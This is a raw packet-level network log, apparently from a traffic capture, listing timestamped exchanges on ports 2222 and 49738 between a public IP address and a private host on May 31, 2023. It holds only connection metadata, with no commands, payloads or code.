May 31, 2023 14:27:15.827366114 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.827611923 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.829477072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.829631090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.834211111 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.834405899 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.836134911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.836406946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.841095924 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.841280937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.843254089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.843431950 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.847690105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.847819090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.849931002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.850054979 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.854918003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.855061054 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.857129097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.857311964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.861301899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.861442089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.863972902 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.864104033 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.864573002 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.868191957 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.868351936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.870866060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.870985985 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.875128984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.875248909 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:15.877765894 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:15.877878904 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.038216114 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.038516045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.040396929 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.040648937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.044130087 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.044343948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.047282934 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.047450066 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.051253080 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.051397085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.054209948 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.054322958 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.058384895 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.058610916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.061058998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.061180115 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.065002918 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.065143108 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.067701101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.067833900 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.072160006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.072292089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.074841022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.074954033 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.077035904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.077146053 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.081310987 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.081471920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.083463907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.083566904 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.088653088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.089039087 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.090869904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.091046095 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.095114946 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.095278025 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.099570990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.099705935 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.102183104 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.102349997 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.104644060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.104804993 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.108351946 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.108491898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.111588001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.111757040 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.115995884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.116141081 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.251116991 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.251344919 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.255775928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.255928040 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.258203030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.258496046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.258574009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.262173891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.262305975 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.264708042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.264848948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.269133091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.269262075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.271733046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.271872044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.275712013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.275909901 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.278352022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.278611898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.282838106 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.283042908 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.285525084 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.285715103 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.289429903 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.289597034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.292239904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.292416096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.296652079 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.296819925 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.299294949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.299437046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.303076982 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.303222895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.306219101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.306374073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.308682919 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.308865070 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.313060045 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.313261032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.315069914 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.315224886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.320027113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.320293903 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.322242022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.322371006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.326733112 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.326903105 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.328808069 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.328949928 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.333828926 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.334084988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.466721058 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.466926098 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.471075058 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.471200943 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.475214005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.475312948 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.477932930 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.478080034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.480353117 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.480509043 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.484802008 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.484924078 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.486752033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.486864090 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.491724014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.491839886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.493907928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.494020939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.498332977 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.498475075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.500577927 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.500691891 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.505561113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.505709887 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.507749081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.507946014 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.511931896 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.512037992 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.514863014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.514950037 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.519375086 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.519488096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.521594048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.521714926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.525777102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.525968075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.528443098 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.528553009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.532661915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.532790899 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.535074949 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.535195112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.539068937 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.539154053 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.542143106 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.542238951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.545964003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.546087027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.548899889 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.549002886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.553298950 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.553407907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.555999041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.556135893 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.559657097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.559788942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.562374115 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.562553883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.567118883 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.567274094 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.569755077 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.569890976 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.571734905 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.571861982 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.576256990 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.576457977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.578459024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.578628063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.583590984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.583743095 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.585571051 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.585716009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.590162992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.590338945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.592828035 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.592977047 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.596970081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.597153902 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.599318981 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.599436045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.603795052 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.607547998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.610734940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.612922907 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.617645979 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.679586887 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.684525013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.686692953 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.691133022 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.693120003 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.697927952 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.700341940 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.704073906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.706793070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.707005978 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.711816072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.712022066 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.714065075 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.714229107 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.717905998 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.718064070 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.720666885 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.720802069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.725087881 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.725302935 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.727782965 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.727960110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.731467009 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.731674910 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.734405041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.734577894 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.738833904 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.738965034 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.741548061 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.741674900 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.743505955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.743616104 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.748450994 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.748620033 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.751090050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.751202106 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.755122900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.755311012 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.757265091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.757400036 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.762281895 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.762392044 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.764447927 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.764539003 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.768924952 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.769059896 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.771053076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.771173000 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.776108027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.776300907 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.778301001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.778423071 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.782474041 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.782618999 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.784961939 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.785073996 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.789865017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.790056944 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.791892052 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.792006016 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.796292067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.796458960 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.798551083 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.798691988 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.802916050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.803127050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.805620909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.805859089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.809621096 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.809844017 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.812436104 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.812674046 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.816458941 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.816551924 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.819475889 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.819611073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.821568012 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.821686029 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.826570034 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.826682091 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.830301046 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.830429077 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.832983017 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.833100080 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.835443974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.835612059 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.840435028 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.840545893 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.842336893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.842462063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.846800089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.846915007 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.850692034 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.850811005 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.853996992 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.854084969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.856117010 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.856218100 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.860667944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.860769987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.862817049 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.862899065 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.867486954 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.867573977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.869932890 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.870024920 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.873848915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.873975039 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.876564026 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.876688004 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.881239891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.881334066 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.883410931 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.883524895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.888396025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.888497114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.890185118 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.890294075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.894617081 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.894706964 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.897275925 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:16.897403002 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:16.900970936 CEST	2222	49738	200.84.200.20	192.168.2.3
